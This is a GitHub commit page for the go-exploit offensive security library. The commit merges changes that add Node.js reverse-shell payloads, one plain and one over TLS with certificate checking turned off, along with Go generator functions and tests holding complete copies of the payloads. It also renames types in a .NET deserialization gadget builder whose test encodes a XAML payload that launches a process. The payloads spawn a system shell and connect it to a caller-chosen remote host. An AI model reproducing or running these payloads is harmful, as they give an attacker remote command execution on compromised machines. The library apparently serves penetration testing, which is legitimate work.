Skip to content

Commit d1ef910

Browse files
lobsterjerusalemlobsterjerusalem
committed
Merge branch 'main' of github.com:vulncheck-oss/go-exploit
2 parents c765fca + 96c87b9 commit d1ef910

File tree

12 files changed

+237
-109
lines changed

12 files changed

+237
-109
lines changed

‎dotnet/dotnetgadget.go‎

Lines changed: 69 additions & 69 deletions
Large diffs are not rendered by default.

‎dotnet/dotnetgadget_test.go‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -75,7 +75,7 @@ func TestGetBinaryObjectString(t *testing.T) {
7575
</ObjectDataProvider.MethodParameters>
7676
</ObjectDataProvider>
7777
</ResourceDictionary>`, program, args)
78-
got := BinaryObjectRecord{ObjectID: 3, Value: xmlData}
78+
got := BinaryObjectString{ObjectID: 3, Value: xmlData}
7979
got2, ok := got.ToRecordBin()
8080

8181
if !ok || fmt.Sprintf("%02x", got2) != "060300000096043c5265736f7572636544696374696f6e6172790a0909786d6c6e733d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2f70726573656e746174696f6e220a0909786d6c6e733a583d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c220a0909786d6c6e733a533d22636c722d6e616d6573706163653a53797374656d3b617373656d626c793d6d73636f726c6962220a0909786d6c6e733a443d22636c722d6e616d6573706163653a53797374656d2e446961676e6f73746963733b617373656d626c793d73797374656d220a093e0a09093c4f626a6563744461746150726f766964657220583a4b65793d2222204f626a656374547970653d227b583a5479706520443a50726f636573737d22204d6574686f644e616d653d225374617274223e0a0909093c4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e0a090909093c533a537472696e673e636d643c2f533a537472696e673e0a090909093c533a537472696e673e2f632063616c633c2f533a537472696e673e0a0909093c2f4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e0a09093c2f4f626a6563744461746150726f76696465723e0a093c2f5265736f7572636544696374696f6e6172793e" {

‎dotnet/records.go‎

Lines changed: 11 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -71,7 +71,7 @@ type ObjectNullMultiple256Record struct {
7171

7272
type ObjectNullRecord struct{}
7373

74-
type BinaryObjectRecord struct {
74+
type BinaryObjectString struct {
7575
ObjectID int
7676
Value string
7777
}
@@ -121,7 +121,7 @@ func (classWithIDRecord ClassWithIDRecord) GetRecordType() int {
121121
return RecordTypeEnumMap["ClassWithId"]
122122
}
123123

124-
func (binaryObjectRecord BinaryObjectRecord) GetRecordType() int {
124+
func (binaryObjectString BinaryObjectString) GetRecordType() int {
125125
return RecordTypeEnumMap["BinaryObjectString"]
126126
}
127127

@@ -212,12 +212,12 @@ func (classWithIDRecord ClassWithIDRecord) ToXML(_ ClassInfo, _ MemberTypeInfo,
212212
return MemberNode{}, false
213213
}
214214

215-
func (binaryObjectRecord BinaryObjectRecord) ToXML(classInfo ClassInfo, memberTypeInfo MemberTypeInfo, _ BinaryLibraryRecord, currentIndex int, _ string) (MemberNode, bool) {
215+
func (binaryObjectString BinaryObjectString) ToXML(classInfo ClassInfo, memberTypeInfo MemberTypeInfo, _ BinaryLibraryRecord, currentIndex int, _ string) (MemberNode, bool) {
216216
memberNode := MemberNode{}
217217
memberNode.XMLName.Local = classInfo.MemberNames[currentIndex]
218-
memberNode.ID = fmt.Sprintf("ref-%d", binaryObjectRecord.ObjectID)
218+
memberNode.ID = fmt.Sprintf("ref-%d", binaryObjectString.ObjectID)
219219
memberNode.XsiType = "xsd:" + strings.ToLower(memberTypeInfo.BinaryTypes[currentIndex])
220-
memberNode.Content = escapeTags(binaryObjectRecord.Value)
220+
memberNode.Content = escapeTags(binaryObjectString.Value)
221221

222222
return memberNode, true
223223
}
@@ -471,10 +471,10 @@ func (classWithIDRecord ClassWithIDRecord) ToRecordBin() (string, bool) {
471471
}
472472

473473
// https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/eb503ca5-e1f6-4271-a7ee-c4ca38d07996
474-
func (binaryObjectRecord BinaryObjectRecord) ToRecordBin() (string, bool) {
475-
recordTypeEnumString := string(byte(binaryObjectRecord.GetRecordType()))
476-
objectIDString := transform.PackLittleInt32(binaryObjectRecord.ObjectID)
477-
prefixedValue := lengthPrefixedString(binaryObjectRecord.Value)
474+
func (binaryObjectString BinaryObjectString) ToRecordBin() (string, bool) {
475+
recordTypeEnumString := string(byte(binaryObjectString.GetRecordType()))
476+
objectIDString := transform.PackLittleInt32(binaryObjectString.ObjectID)
477+
prefixedValue := lengthPrefixedString(binaryObjectString.Value)
478478

479479
return recordTypeEnumString + objectIDString + prefixedValue, true
480480
}
@@ -537,7 +537,7 @@ func (systemClassWithMembersAndTypesRecord SystemClassWithMembersAndTypesRecord)
537537
return "", false
538538
}
539539

540-
////////////////////////// ///objid, name, count, membernames//int8 type values+addInfo/the array of values
540+
// objid, name, count, membernames//int8 type values+addInfo/the array of values
541541
return recordTypeEnumString + systemClassWithMembersAndTypesRecord.ClassInfo.ToBin() + memberTypeInfoString + memberValuesString, true
542542
}
543543

@@ -599,6 +599,6 @@ func (classWithMembersAndTypesRecord ClassWithMembersAndTypesRecord) ToRecordBin
599599
return "", false
600600
}
601601

602-
////////////////////////////// id, name, count, membernames+addinfo // the int8 values for types //the int32 ID// the array of values
602+
// id, name, count, membernames+addinfo the int8 values for types, the int32 ID, the array of values
603603
return recordTypeEnumString + classWithMembersAndTypesRecord.ClassInfo.ToBin() + memberTypeInfoString + libraryIDString + memberValuesString, true
604604
}

‎go.mod‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -10,10 +10,10 @@ require (
1010
github.com/icholy/digest v1.1.0
1111
github.com/lor00x/goldap v0.0.0-20240304151906-8d785c64d1c8
1212
github.com/vjeantet/ldapserver v1.0.2-0.20240305064909-a417792e2906
13-
golang.org/x/crypto v0.44.0
13+
golang.org/x/crypto v0.45.0
1414
golang.org/x/net v0.47.0
1515
golang.org/x/text v0.31.0
16-
modernc.org/sqlite v1.40.0
16+
modernc.org/sqlite v1.40.1
1717
)
1818

1919
require (

‎go.sum‎

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -48,8 +48,8 @@ golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliY
4848
golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU=
4949
golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8=
5050
golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk=
51-
golang.org/x/crypto v0.44.0 h1:A97SsFvM3AIwEEmTBiaxPPTYpDC47w720rdiiUvgoAU=
52-
golang.org/x/crypto v0.44.0/go.mod h1:013i+Nw79BMiQiMsOPcVCB5ZIJbYkerPrGnOa00tvmc=
51+
golang.org/x/crypto v0.45.0 h1:jMBrvKuj23MTlT0bQEOBcAE0mjg8mK9RXFhRH6nyF3Q=
52+
golang.org/x/crypto v0.45.0/go.mod h1:XTGrrkGJve7CYK7J8PEww4aY7gM3qMCElcJQ8n8JdX4=
5353
golang.org/x/exp v0.0.0-20250620022241-b7579e27df2b h1:M2rDM6z3Fhozi9O7NWsxAkg/yqS/lQJ6PmkyIV3YP+o=
5454
golang.org/x/exp v0.0.0-20250620022241-b7579e27df2b/go.mod h1:3//PLf8L/X+8b4vuAfHzxeRUl04Adcb341+IGKfnqS8=
5555
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
@@ -146,8 +146,8 @@ modernc.org/opt v0.1.4 h1:2kNGMRiUjrp4LcaPuLY2PzUfqM/w9N23quVwhKt5Qm8=
146146
modernc.org/opt v0.1.4/go.mod h1:03fq9lsNfvkYSfxrfUhZCWPk1lm4cq4N+Bh//bEtgns=
147147
modernc.org/sortutil v1.2.1 h1:+xyoGf15mM3NMlPDnFqrteY07klSFxLElE2PVuWIJ7w=
148148
modernc.org/sortutil v1.2.1/go.mod h1:7ZI3a3REbai7gzCLcotuw9AC4VZVpYMjDzETGsSMqJE=
149-
modernc.org/sqlite v1.40.0 h1:bNWEDlYhNPAUdUdBzjAvn8icAs/2gaKlj4vM+tQ6KdQ=
150-
modernc.org/sqlite v1.40.0/go.mod h1:9fjQZ0mB1LLP0GYrp39oOJXx/I2sxEnZtzCmEQIKvGE=
149+
modernc.org/sqlite v1.40.1 h1:VfuXcxcUWWKRBuP8+BR9L7VnmusMgBNNnBYGEe9w/iY=
150+
modernc.org/sqlite v1.40.1/go.mod h1:9fjQZ0mB1LLP0GYrp39oOJXx/I2sxEnZtzCmEQIKvGE=
151151
modernc.org/strutil v1.2.1 h1:UneZBkQA+DX2Rp35KcM69cSsNES9ly8mQWD71HKlOA0=
152152
modernc.org/strutil v1.2.1/go.mod h1:EHkiggD70koQxjVdSBM3JKM7k6L0FbGE5eymy9i3B9A=
153153
modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y=

‎payload/reverse/js.go‎

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
package reverse
2+
3+
import (
4+
_ "embed"
5+
"fmt"
6+
)
7+
8+
var (
9+
10+
//go:embed nodejs/reverse.js
11+
NodeJS string
12+
//go:embed nodejs/reverse_tls.js
13+
SecureNodeJS string
14+
)
15+
16+
// NodeJS generates a Node compatible reverse shell with OS detection for Windows. It is not minified and utilizes double quotes.
17+
func (js *JavascriptPayload) NodeJS(lhost string, lport int) string {
18+
return fmt.Sprintf(NodeJS, lport, lhost)
19+
}
20+
21+
// SecureNodeJS generates a Node compatible reverse shell with TLS support with OS detection for Windows. It is not minified and utilizes double quotes.
22+
func (js *JavascriptPayload) SecureNodeJS(lhost string, lport int) string {
23+
return fmt.Sprintf(SecureNodeJS, lport, lhost)
24+
}

‎payload/reverse/nodejs/reverse.js‎

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
(function(){
2+
var net = require('net'),
3+
cp = require('child_process'),
4+
shell = "/bin/sh";
5+
if(process.platform == "win32") {
6+
shell = "cmd.exe"
7+
};
8+
var sh = cp.spawn(shell, []);
9+
var client = new net.Socket();
10+
client.connect(%d, '%s', function(){
11+
client.pipe(sh.stdin);
12+
sh.stdout.pipe(client);
13+
sh.stderr.pipe(client);
14+
});
15+
return;
16+
})();

‎payload/reverse/nodejs/reverse_tls.js‎

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
(function(){
2+
var tls = require('tls'),
3+
cp = require('child_process'),
4+
shell = "/bin/sh";
5+
if(process.platform == "win32") {
6+
shell = "cmd.exe"
7+
};
8+
9+
sh = cp.spawn(shell, []);
10+
var client = new tls.TLSSocket();
11+
options = {rejectUnauthorized: false}
12+
client.connect(%d, '%s', options, function(){
13+
client.pipe(sh.stdin);
14+
sh.stdout.pipe(client);
15+
sh.stderr.pipe(client);
16+
});
17+
return;
18+
})();

‎payload/reverse/reverse.go‎

Lines changed: 24 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -27,30 +27,32 @@ type Default interface{}
2727

2828
// Defines the default Bash struct and all associated payload functions.
2929
type (
30-
BashPayload struct{}
31-
GJScriptPayload struct{}
32-
JJSScriptPayload struct{}
33-
JavaPayload struct{}
34-
NetcatPayload struct{}
35-
OpenSSLPayload struct{}
36-
PHPPayload struct{}
37-
PythonPayload struct{}
38-
TelnetPayload struct{}
39-
GroovyPayload struct{}
40-
VBSHTTPPayload struct{}
30+
BashPayload struct{}
31+
GJScriptPayload struct{}
32+
JJSScriptPayload struct{}
33+
JavascriptPayload struct{}
34+
JavaPayload struct{}
35+
NetcatPayload struct{}
36+
OpenSSLPayload struct{}
37+
PHPPayload struct{}
38+
PythonPayload struct{}
39+
TelnetPayload struct{}
40+
GroovyPayload struct{}
41+
VBSHTTPPayload struct{}
4142
)
4243

4344
var (
4445
// Example: makes the Bash payloads accessible via `reverse.Bash`.
45-
Bash = &BashPayload{}
46-
GJScript = &GJScriptPayload{}
47-
JJS = &JJSScriptPayload{}
48-
Java = &JavaPayload{}
49-
Netcat = &NetcatPayload{}
50-
OpenSSL = &OpenSSLPayload{}
51-
PHP = &PHPPayload{}
52-
Python = &PythonPayload{}
53-
Telnet = &TelnetPayload{}
54-
Groovy = &GroovyPayload{}
55-
VBSHTTP = &VBSHTTPPayload{}
46+
Bash = &BashPayload{}
47+
GJScript = &GJScriptPayload{}
48+
JJS = &JJSScriptPayload{}
49+
Java = &JavaPayload{}
50+
Javascript = &JavascriptPayload{}
51+
Netcat = &NetcatPayload{}
52+
OpenSSL = &OpenSSLPayload{}
53+
PHP = &PHPPayload{}
54+
Python = &PythonPayload{}
55+
Telnet = &TelnetPayload{}
56+
Groovy = &GroovyPayload{}
57+
VBSHTTP = &VBSHTTPPayload{}
5658
)

‎payload/reverse/reverse_test.go‎

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -184,6 +184,53 @@ func TestGroovyClassic(t *testing.T) {
184184
}
185185
}
186186

187+
func TestNodeJS(t *testing.T) {
188+
payload := reverse.Javascript.NodeJS("127.0.0.3", 1312)
189+
expected := `(function(){
190+
var net = require('net'),
191+
cp = require('child_process'),
192+
shell = "/bin/sh";
193+
if(process.platform == "win32") {
194+
shell = "cmd.exe"
195+
};
196+
var sh = cp.spawn(shell, []);
197+
var client = new net.Socket();
198+
client.connect(1312, '127.0.0.3', function(){
199+
client.pipe(sh.stdin);
200+
sh.stdout.pipe(client);
201+
sh.stderr.pipe(client);
202+
});
203+
return;
204+
})();`
205+
206+
if payload != expected {
207+
t.Fatal(payload)
208+
}
209+
210+
payload = reverse.Javascript.SecureNodeJS("127.0.0.4", 1312)
211+
expected = `(function(){
212+
var tls = require('tls'),
213+
cp = require('child_process'),
214+
shell = "/bin/sh";
215+
if(process.platform == "win32") {
216+
shell = "cmd.exe"
217+
};
218+
219+
sh = cp.spawn(shell, []);
220+
var client = new tls.TLSSocket();
221+
options = {rejectUnauthorized: false}
222+
client.connect(1312, '127.0.0.4', options, function(){
223+
client.pipe(sh.stdin);
224+
sh.stdout.pipe(client);
225+
sh.stderr.pipe(client);
226+
});
227+
return;
228+
})();`
229+
if payload != expected {
230+
t.Fatal(payload)
231+
}
232+
}
233+
187234
func TestPython312(t *testing.T) {
188235
payload := reverse.Python.SecurePython312("127.0.0.2", 9000)
189236
expected := `import socket

0 commit comments

Comments
 (0)